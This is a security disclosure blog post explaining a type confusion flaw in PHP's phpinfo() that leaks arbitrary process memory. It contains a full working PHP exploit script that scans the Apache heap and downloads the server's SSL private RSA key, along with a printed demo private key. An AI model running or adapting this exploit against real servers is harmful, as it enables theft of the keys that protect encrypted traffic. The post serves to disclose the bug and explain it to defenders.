phpinfo() Type Confusion Infoleak Vulnerability and SSL Private Keys

A vulnerability in PHP's phpinfo() function allows PHP scripts to read arbitrary strings from memory.

Introduction

/images/phpinfoteaser.png

In the last weeks we have spent some time looking into the PHP source code again, because we were working on new versions of Suhosin, our security extension for PHP. During this time we have discovered some security problems in PHP and disclosed them to the PHP security team, after our initial analysis was finished and POC exploits were developed.

Unfortunately the PHP security team did not acknowledge the vulnerabilities or attempt to discuss them, but instead just applied the patches we supplied and released updated versions of PHP 5.4 and PHP 5.5. Unfortunately a security update for PHP 5.3 is not available, although it is the version most affected by the phpinfo() information leak described here. However we already discussed the problem that PHP 5.3 has not received any security updates since December 2013 and how SektionEins can help you with that in another place.

In this post we will detail the phpinfo() type confusion vulnerability that we disclosed to PHP.net and show how it allows a PHP script to steal the private SSL key. We demonstrate this on an Ubuntu 12.04 LTS 32 bit default installation of PHP and mod_ssl. Unfortunately this kind of problem is not considered a security problem by PHP.net and therefore this security vulnerability does not have a CVE name assigned to it, yet.

(Update: On Sunday, July 6th 2014, CVE-2014-4721 was assigned.)

(Update: On Sunday, July 6th 2014, the RedHat Security Team claimed that it is intended behaviour for scripting languages to break out of their VM and have direct access to the process memory and therefore the PHP issue is not a bug: https://bugzilla.redhat.com/show_bug.cgi?id=1116662 - following this argumentation they soon might stop fixing JavaScript vulnerabilities in browsers for the same reason.)

(Update: On Monday, July 7th 2014, the RedHat Security Team now claims in the same bug report that it is and it is not a security vulnerability they might fix in a future update.)

The Vulnerability

The vulnerability in question is located in the PHP source code inside the file /ext/standard/info.c inside the function php_print_info. The vulnerability is located in the handling of the PHP_SELF, PHP_AUTH_TYPE, PHP_AUTH_USER and PHP_AUTH_PW variables as you can see below:

zval **data;

SECTION("PHP Variables");

php_info_print_table_start();
php_info_print_table_header(2, "Variable", "Value");
if (zend_hash_find(&EG(symbol_table), "PHP_SELF", sizeof("PHP_SELF"), (void **) &data) != FAILURE) {
    php_info_print_table_row(2, "PHP_SELF", Z_STRVAL_PP(data));
}
if (zend_hash_find(&EG(symbol_table), "PHP_AUTH_TYPE", sizeof("PHP_AUTH_TYPE"), (void **) &data) != FAILURE) {
    php_info_print_table_row(2, "PHP_AUTH_TYPE", Z_STRVAL_PP(data));
}
if (zend_hash_find(&EG(symbol_table), "PHP_AUTH_USER", sizeof("PHP_AUTH_USER"), (void **) &data) != FAILURE) {
    php_info_print_table_row(2, "PHP_AUTH_USER", Z_STRVAL_PP(data));
}
if (zend_hash_find(&EG(symbol_table), "PHP_AUTH_PW", sizeof("PHP_AUTH_PW"), (void **) &data) != FAILURE) {
    php_info_print_table_row(2, "PHP_AUTH_PW", Z_STRVAL_PP(data));
}

The code above looks up the variables in question in the symbol table and then passes their value to the php_info_print_table_row() function. However it does this without checking first if the variable retrieved is actually a string variable.

To understand the problem in more detail let us look at the definition of a ZVAL (ignoring the GC version) and the Z_STRVAL_PP macro:

typedef union _zvalue_value {
   long lval;                                 /* long value */
   double dval;                               /* double value */
   struct {
      char *val;
      int len;
   } str;
   HashTable *ht;                             /* hash table value */
   zend_object_value obj;
} zvalue_value;

struct _zval_struct {
   /* Variable information */
   zvalue_value value;                /* value */
   zend_uint refcount__gc;
   zend_uchar type;   /* active type */
   zend_uchar is_ref__gc;
};

#define Z_STRVAL(zval)        (zval).value.str.val
#define Z_STRVAL_P(zval_p)    Z_STRVAL(*zval_p)
#define Z_STRVAL_PP(zval_pp)  Z_STRVAL(**zval_pp)

As you can see from these definitions accessing the Z_STRVAL of a PHP variable will lookup the pointer to the string directly from the union zvalue_value. Because this is a union for other variable types this string pointer will be filled with different types of data. A PHP integer variable for example will have its value stored in the same position as the pointer of a PHP string variable (in case sizeof(long) == sizeof(void *)). The same is true for the value of floating point variables and the other variable types.

In this case only integer (and maybe double values for Win64) are interesting, because they let us choose an arbitrary string pointer. The following little POC code demonstrates this and will make phpinfo() attempt to output a string starting at the memory address 0x55555555, which usually should result in a crash, because that is an invalid memory position.

<?php
   $PHP_SELF = 0x55555555;
   phpinfo(INFO_VARIABLES);
?>

There are however some limitations to the strings that are accepted. First of all there is a difference in the way output is generated for SAPIs that support text or html output, as you can see below:

/* {{{ php_info_print_table_row_internal
 */
static void php_info_print_table_row_internal(int num_cols,
        const char *value_class, va_list row_elements)
{
  int i;
  char *row_element;

  if (!sapi_module.phpinfo_as_text) {
    php_info_print("<tr>");
  }
  for (i=0; i<num_cols; i++) {
    if (!sapi_module.phpinfo_as_text) {
      php_info_printf("<td class=\"%s\">",
          (i==0 ? "e" : value_class )
      );
    }
    row_element = va_arg(row_elements, char *);
    if (!row_element || !*row_element) {
      if (!sapi_module.phpinfo_as_text) {
        php_info_print( "<i>no value</i>" );
      } else {
        php_info_print( " " );
      }
    } else {
      if (!sapi_module.phpinfo_as_text) {
        php_info_print_html_esc(row_element, strlen(row_element));
      } else {
        php_info_print(row_element);
        if (i < num_cols-1) {
          php_info_print(" => ");
        }
      }
    }

From the code above you can see that in the phpinfo_as_text case of the CLI SAPI it is not possible to distinguish between a 0x00 and a 0x20 byte in the output, because empty strings will be printed as single spaces. This might be a problem for leaking data structures in CLI mode. However in some cases it is possible to distinguish between 0x00 and 0x20 by checking the surrounding strings.

For the other SAPIs that support HTML output the function php_info_print_html_esc() is called, which is defined as below for PHP 5.4 and above:

static int php_info_print_html_esc(const char *str, int len) /* {{{ */
{
   size_t new_len;
   int written;
   char *new_str;
   TSRMLS_FETCH();

   new_str = php_escape_html_entities((unsigned char *) str, len, &new_len, 0, ENT_QUOTES, "utf-8" TSRMLS_CC);
   written = php_output_write(new_str, new_len TSRMLS_CC);
   efree(new_str);
   return written;
}

The problem here is that the output of phpinfo() is forced to be UTF-8 no matter what the rest of the system works with. This means that any string that contains invalid UTF-8 characters will be stripped by the php_escape_html_entities() function from the output. This means for PHP 5.4 and PHP 5.5 only valid string content can be leaked, which makes this information leak unusable for leaking sensitive binary data.

However when you go back to the source code of PHP 5.3 you will see a different picture.

PHPAPI void php_info_html_esc_write(char *string, int str_len TSRMLS_DC)
{
   int new_len;
   char *ret = php_escape_html_entities((unsigned char *)string, str_len, &new_len, 0, ENT_QUOTES, NULL TSRMLS_CC);

   PHPWRITE(ret, new_len);
   efree(ret);
}

For PHP 5.3 and below the code does not enforce UTF-8 and therefore arbitrary binary content can be leaked, which we will use in the following example to leak the server's private SSL RSA key.

Downloading your SSL private key

Because the reported phpinfo() infoleak mostly affects PHP 5.3 we installed an Ubuntu 12.04 LTS system, which comes with PHP 5.3.10-1ubuntu3.12 by default. We also enabled the mod_ssl Apache2 module and added a virtual host with our own demo SSL cert protected by a demo SSL private RSA key.

We then attached to the running Apache2 processes with a debugger.

root@ubuntu:~# ps -ax | grep apache2
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
11039 ?        Ss     0:02 /usr/sbin/apache2 -k start
11043 ?        S      0:03 /usr/sbin/apache2 -k start
11044 ?        S      0:00 /usr/sbin/apache2 -k start
11693 ?        S      0:00 /usr/sbin/apache2 -k start
11694 ?        S      0:00 /usr/sbin/apache2 -k start
11696 ?        S      0:02 /usr/sbin/apache2 -k start
11697 ?        S      0:02 /usr/sbin/apache2 -k start
11798 ?        S      0:00 /usr/sbin/apache2 -k start
11995 pts/1    S+     0:00 grep --color=auto apache2

root@ubuntu:~# gdb
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>.
(gdb) attach 11694
Attaching to process 11694
Reading symbols from /usr/lib/apache2/mpm-prefork/apache2...(no debugging symbols found)...done.
...
0xb76d2424 in __kernel_vsyscall ()
(gdb)

Once attached we figured out the position of the Apache2 heap.

(gdb) info proc mappings
process 11694
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
    0xb5c3c000 0xb63e5000   0x7a9000        0x0 /usr/lib/apache2/modules/libphp5.so
    0xb63e5000 0xb63e6000     0x1000   0x7a9000 /usr/lib/apache2/modules/libphp5.so
    0xb63e6000 0xb6424000    0x3e000   0x7a9000 /usr/lib/apache2/modules/libphp5.so
    0xb6424000 0xb642b000     0x7000   0x7e7000 /usr/lib/apache2/modules/libphp5.so
    0xb642b000 0xb649a000    0x6f000        0x0
    ...
    0xb76f5000 0xb7758000    0x63000        0x0 /usr/lib/apache2/mpm-prefork/apache2
    0xb7758000 0xb775a000     0x2000    0x63000 /usr/lib/apache2/mpm-prefork/apache2
    0xb775a000 0xb775c000     0x2000    0x65000 /usr/lib/apache2/mpm-prefork/apache2
    0xb775c000 0xb775f000     0x3000        0x0
    0xb7884000 0xb78c0000    0x3c000        0x0 [heap]
    0xb78c0000 0xb7a0f000   0x14f000        0x0 [heap]
    0xbf886000 0xbf8a7000    0x21000        0x0 [stack]

The SSL private key will be located in the memory marked as [heap]. Of course restarting Apache2 or rebooting the Ubuntu systems will change the address of this heap, but various restarts and reboots ended with the heap starting in the area 0xb7xxxxxx - 0xb8xxxxxx. This might vary for other installations, however guessing this address is only required if you do not have knowledge of other PHP information leaks that leak the address of the heap. We have to assume a skilled attacker has this capability. But in our case we do not care, because the amount of bruteforcing required to guess a valid heap address in front of the SSL key seems small (around 256 tries).

Once we have figured out an address of the Apache2 heap in front of the SSL key we can then use the script below to steal the system's SSL private key. In fact, in case of a successful attack the browser will offer us the private SSL RSA key as downloadable file.

<?php
/* depending on the starting position in the heap this will take a while */
set_time_limit(0);

/* set a starting position for the heap scan */
/* script will crash immediately if trying to access illegal memory */
$starthi = 0xb788;

if (isset($_GET['start'])) {
  $starthi = $_GET['start'] + 0;
}

/* initialize some stuff */
$i = 0; $z = 0; $olddata = ""; $keydata = "";


/* Unfortunately PHP is problematic when it comes to 32bit
   unsigned numbers - we have to fake it like this */

$PHP_SELF = ($starthi << 16) | $i;

while (true) {

  $data = "";

  while (strlen($data) < 4096) {

    /* perform the infoleak */
    ob_start();
    @phpinfo(INFO_VARIABLES);
    $var = ob_get_contents();
    ob_get_clean();

    /* extract the leaked data from output */
    $r = preg_match("|PHP_SELF.</td><td class=\"v\">(.*).</td></tr>|mUs",$var,$match);

    /* we need to handle the "no value" case */
    $var = $match[1];
    if ($var == "<i>no value</i>") $var = chr(0); else $var .= chr(0);

    /* Ohhh and we need to decode the entities added by PHP */
    $var = html_entity_decode($var,ENT_QUOTES,"ISO-8859-1");

    /* Append leaked data to output */
    $data .= $var;
    $i += strlen($var);

    /* $i will keep the lower 16 bits and $z the upper 16 bits */
    if ($i > 0xffff) $z++;
    $i = $i & 0xffff;

    /* recalculate next address */
    $PHP_SELF = ($starthi + $z)<<16 | $i;

  }

  /* we combine the data with the previous data to handle partial keys */
  $check = $olddata . $data;
  $olddata = $data;
  $data = $check;

  /* Now check if we have a key candidate */
  $position = strpos($data, "\x30\x82");
  if ($position !== false && $position < strlen($data)-1024) {
    if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") {
      $length = ord($data[$position+2])*256+ord($data[$position+3])+4;
      $keydata = substr($data, $position, $length);
      // Assume an exponent of 0x10001 to really find a RSA key and not a DSA one
      if (strpos($keydata, "\x01\x00\x01") > 0)
        break;
    }
  }
}

if (strlen($keydata) == 0) {
  header("Content-type: text/plain");
  die ("Unexpected error!!!");
}

header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"server_ssl_rsa_privatekey.der\"");
echo $keydata;

The image below shows the script in action.

/images/infoleakdemo.png

The SSL Key

In order to show how this works we have dumped the original SSL key and compared it against the dump from the PHP script. First the dump of the original key.

root@ubuntu:~# openssl rsa -in /etc/ssl/private/phpdemo.key -text
Private-Key: (2048 bit)
modulus:
    00:b2:52:c1:ce:52:ba:7f:06:70:0d:a2:6b:2d:7a:
    ca:8c:41:8d:6e:0a:41:73:4c:ab:9f:97:6c:26:3b:
    65:4e:fb:60:3c:4c:5e:cc:86:3a:e3:e4:cb:bb:06:
    8d:92:a5:8c:65:b2:ef:1e:6e:4f:e0:5e:fb:fd:0c:
    b5:17:09:a8:b4:e0:89:0d:f7:8d:1a:47:d1:f1:71:
    c7:26:9d:56:c8:b9:b9:fe:ac:eb:b1:ab:e0:cd:62:
    6b:0b:39:a1:b2:e0:3b:a7:cb:fa:c9:73:1b:fe:8b:
    79:a1:5c:49:98:36:db:50:e6:5e:6e:a5:3c:a2:9b:
    e6:4b:ae:6a:c5:98:49:43:91:84:92:34:74:1c:a2:
    0f:74:1d:b1:5e:c1:29:59:5c:c9:6b:8d:ea:ba:e9:
    55:1a:9a:c7:af:31:22:af:fd:1e:a7:7c:43:d8:64:
    02:72:54:1c:e7:4f:8a:7e:a9:19:e7:08:63:e1:92:
    1d:2b:b2:79:a4:28:b5:4b:0a:20:bb:8a:6c:9b:06:
    27:d3:8d:4b:a5:9e:67:9a:83:4d:42:3f:fe:cf:c7:
    05:36:c3:88:20:2d:17:e0:75:46:cf:35:ee:20:28:
    cb:fa:85:64:31:6f:4e:e2:c5:89:18:24:5b:0b:de:
    3d:72:e1:ad:29:1f:5f:35:25:7c:5c:e7:9e:96:f1:
    82:61
publicExponent: 65537 (0x10001)
privateExponent:
    66:ab:79:44:76:a3:43:e1:8c:00:7d:a4:21:c2:51:
    fe:20:fb:f2:00:5b:a0:ab:e3:20:76:c9:60:d5:cf:
    c5:82:bb:ec:db:b7:b5:20:0f:a6:08:a4:38:21:54:
    bf:bb:2b:33:9e:ab:48:25:11:3e:48:d1:e2:e7:3f:
    18:6d:8a:41:e2:09:67:0e:41:a2:80:f9:62:7f:34:
    bf:89:d5:5e:aa:78:69:26:5c:69:a6:61:3f:3f:4c:
    0c:61:79:35:09:1f:af:c3:a4:b7:f9:db:83:5a:00:
    84:a4:23:07:4d:86:46:74:ec:a7:dd:e1:24:6a:88:
    54:c8:ae:56:e8:10:3e:a3:02:a0:d9:15:65:be:3f:
    a3:13:6a:0d:c0:fc:9e:70:24:a7:c8:1d:be:30:ad:
    c9:d4:e8:c4:ef:d7:d1:84:ad:90:9a:77:6a:79:82:
    2b:9d:59:61:b4:5d:0f:3c:8e:a9:68:24:67:c1:9a:
    be:3c:f9:11:3f:75:14:40:44:de:6f:09:20:32:a2:
    01:8a:11:2d:da:4c:51:13:0c:1f:33:6f:71:0e:c3:
    b3:8a:14:2f:5b:4f:3f:69:bf:5b:3d:d7:12:37:59:
    8f:49:12:b0:f9:b9:12:d8:4a:a8:b2:86:99:3d:46:
    eb:5b:55:60:21:56:5e:bd:f8:da:97:c3:18:d2:89:
    c1
prime1:
    00:df:3e:cb:d6:39:04:94:f6:54:1f:de:fe:4c:62:
    cf:40:c0:55:35:3b:f1:80:79:73:06:7f:70:92:ec:
    cc:25:3d:74:78:34:9d:9a:e9:1e:d1:1b:5a:66:ee:
    e2:eb:49:21:06:1e:a8:7a:d5:8c:01:88:ae:5c:ff:
    a5:dc:26:e7:46:46:22:cf:25:30:46:c0:9e:7f:21:
    e6:88:4d:e6:6c:f1:8c:e9:14:dc:a6:0a:d6:ae:a6:
    ff:18:9d:0c:cd:8c:ec:14:5f:58:5c:0c:98:ef:6d:
    bd:69:dc:03:11:e5:a7:fb:33:e9:5f:ae:64:e4:6a:
    13:13:16:36:04:75:64:3b:e9
prime2:
    00:cc:7c:aa:cf:c3:64:20:5d:1b:24:fa:ca:8f:9f:
    a1:9d:89:db:59:bb:bd:aa:c7:78:30:0f:61:0e:c2:
    61:6d:bf:0d:c2:48:c8:1a:5c:7e:a6:76:ed:d3:a9:
    c2:ed:1c:d2:ae:7a:37:6d:c1:f3:89:27:c2:d7:8b:
    fa:55:6d:b7:17:a7:b5:4f:e6:99:84:be:0f:61:e5:
    d7:2e:c3:99:71:0e:09:3a:a7:65:3b:a4:8a:ab:04:
    08:9c:b5:7c:b4:1a:9e:87:f2:8a:e5:4c:5e:31:13:
    0a:60:b9:d1:92:8f:2d:0d:15:c4:10:50:5a:b4:c2:
    74:09:4c:71:5e:50:99:1f:b9
exponent1:
    51:35:66:b0:e6:cc:e3:e3:37:76:e0:87:61:02:10:
    a2:5d:54:a1:a8:cc:91:0f:9c:e8:20:33:b3:3e:b0:
    84:5b:76:a2:c3:81:11:78:fb:dc:d5:36:6d:7b:38:
    d0:9e:29:85:30:61:d9:4d:15:40:f9:97:73:fd:0b:
    38:aa:6e:37:02:0c:67:8d:ff:a1:bd:2f:ea:cf:4a:
    2d:0b:29:67:37:f7:2a:52:8c:71:5a:3f:fe:08:81:
    83:52:9d:f5:a7:ed:b8:fb:76:09:06:0c:1c:0c:af:
    7a:72:ae:2b:34:7f:86:c1:bb:83:32:cd:40:c9:d5:
    66:7c:0d:ea:51:49:c5:01
exponent2:
    3f:b7:94:ed:fa:3f:47:ca:5b:3b:f1:9d:8e:95:3a:
    21:c1:a4:04:d8:f8:27:af:d1:e6:7f:d4:49:6a:0e:
    3b:c9:2d:7b:5d:7c:64:a2:6f:a0:65:2c:84:28:c0:
    a1:6b:ba:c6:3d:34:ea:51:66:16:55:ba:63:b9:ad:
    3e:53:5a:9a:d7:5a:2a:d4:7a:ff:9e:cd:62:3e:e1:
    07:24:51:ba:a5:9a:00:99:ca:74:84:37:e5:43:f3:
    7f:09:1a:1b:70:b3:f7:3e:7f:43:25:c1:af:de:f3:
    fb:e1:ca:c8:b5:2e:5f:86:69:ba:7f:9f:53:f5:c7:
    7c:62:42:6d:16:06:30:99
coefficient:
    25:58:30:a7:e6:6a:66:3c:52:a3:ae:2a:e4:fe:66:
    c3:48:b6:97:d4:a6:ce:f5:60:e5:92:32:f7:e1:61:
    ff:c0:fb:00:31:9d:eb:cd:e0:09:22:97:8c:23:d2:
    d9:37:db:f0:4f:d0:74:d4:d1:41:76:b8:24:83:3d:
    f4:ec:17:3f:b6:3f:67:df:bd:0c:93:64:98:a1:15:
    e6:63:d9:13:75:00:a7:21:ad:80:fc:18:d2:30:11:
    d9:76:e9:ad:e1:a2:e4:b4:f8:21:8e:54:8e:3f:16:
    ff:25:1b:4f:68:de:50:2b:01:6c:01:7a:ab:bd:7b:
    03:e5:55:1d:50:31:da:b2
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAslLBzlK6fwZwDaJrLXrKjEGNbgpBc0yrn5dsJjtlTvtgPExe
zIY64+TLuwaNkqWMZbLvHm5P4F77/Qy1FwmotOCJDfeNGkfR8XHHJp1WyLm5/qzr
savgzWJrCzmhsuA7p8v6yXMb/ot5oVxJmDbbUOZebqU8opvmS65qxZhJQ5GEkjR0
HKIPdB2xXsEpWVzJa43quulVGprHrzEir/0ep3xD2GQCclQc50+KfqkZ5whj4ZId
K7J5pCi1Swogu4psmwYn041LpZ5nmoNNQj/+z8cFNsOIIC0X4HVGzzXuICjL+oVk
MW9O4sWJGCRbC949cuGtKR9fNSV8XOeelvGCYQIDAQABAoIBAGareUR2o0PhjAB9
pCHCUf4g+/IAW6Cr4yB2yWDVz8WCu+zbt7UgD6YIpDghVL+7KzOeq0glET5I0eLn
PxhtikHiCWcOQaKA+WJ/NL+J1V6qeGkmXGmmYT8/TAxheTUJH6/DpLf524NaAISk
IwdNhkZ07Kfd4SRqiFTIrlboED6jAqDZFWW+P6MTag3A/J5wJKfIHb4wrcnU6MTv
19GErZCad2p5giudWWG0XQ88jqloJGfBmr48+RE/dRRARN5vCSAyogGKES3aTFET
DB8zb3EOw7OKFC9bTz9pv1s91xI3WY9JErD5uRLYSqiyhpk9RutbVWAhVl69+NqX
wxjSicECgYEA3z7L1jkElPZUH97+TGLPQMBVNTvxgHlzBn9wkuzMJT10eDSdmuke
0RtaZu7i60khBh6oetWMAYiuXP+l3CbnRkYizyUwRsCefyHmiE3mbPGM6RTcpgrW
rqb/GJ0MzYzsFF9YXAyY7229adwDEeWn+zPpX65k5GoTExY2BHVkO+kCgYEAzHyq
z8NkIF0bJPrKj5+hnYnbWbu9qsd4MA9hDsJhbb8NwkjIGlx+pnbt06nC7RzSrno3
bcHziSfC14v6VW23F6e1T+aZhL4PYeXXLsOZcQ4JOqdlO6SKqwQInLV8tBqeh/KK
5UxeMRMKYLnRko8tDRXEEFBatMJ0CUxxXlCZH7kCgYBRNWaw5szj4zd24IdhAhCi
XVShqMyRD5zoIDOzPrCEW3aiw4ERePvc1TZtezjQnimFMGHZTRVA+Zdz/Qs4qm43
Agxnjf+hvS/qz0otCylnN/cqUoxxWj/+CIGDUp31p+24+3YJBgwcDK96cq4rNH+G
wbuDMs1AydVmfA3qUUnFAQKBgD+3lO36P0fKWzvxnY6VOiHBpATY+Cev0eZ/1Elq
DjvJLXtdfGSib6BlLIQowKFrusY9NOpRZhZVumO5rT5TWprXWirUev+ezWI+4Qck
UbqlmgCZynSEN+VD838JGhtws/c+f0Mlwa/e8/vhysi1Ll+Gabp/n1P1x3xiQm0W
BjCZAoGAJVgwp+ZqZjxSo64q5P5mw0i2l9SmzvVg5ZIy9+Fh/8D7ADGd683gCSKX
jCPS2Tfb8E/QdNTRQXa4JIM99OwXP7Y/Z9+9DJNkmKEV5mPZE3UApyGtgPwY0jAR
2XbpreGi5LT4IY5Ujj8W/yUbT2jeUCsBbAF6q717A+VVHVAx2rI=
-----END RSA PRIVATE KEY-----

root@ubuntu:~# openssl rsa -in /etc/ssl/private/phpdemo.key -text | md5sum
writing RSA key
613e653d22bd139744254b4d5a19dbd7  -

And now comparing it against the PHP script dumped key:

$ openssl rsa -in /Users/sesser/Downloads/server_ssl_rsa_privatekey.der -inform DER -text | md5
writing RSA key
613e653d22bd139744254b4d5a19dbd7

Stefan Esser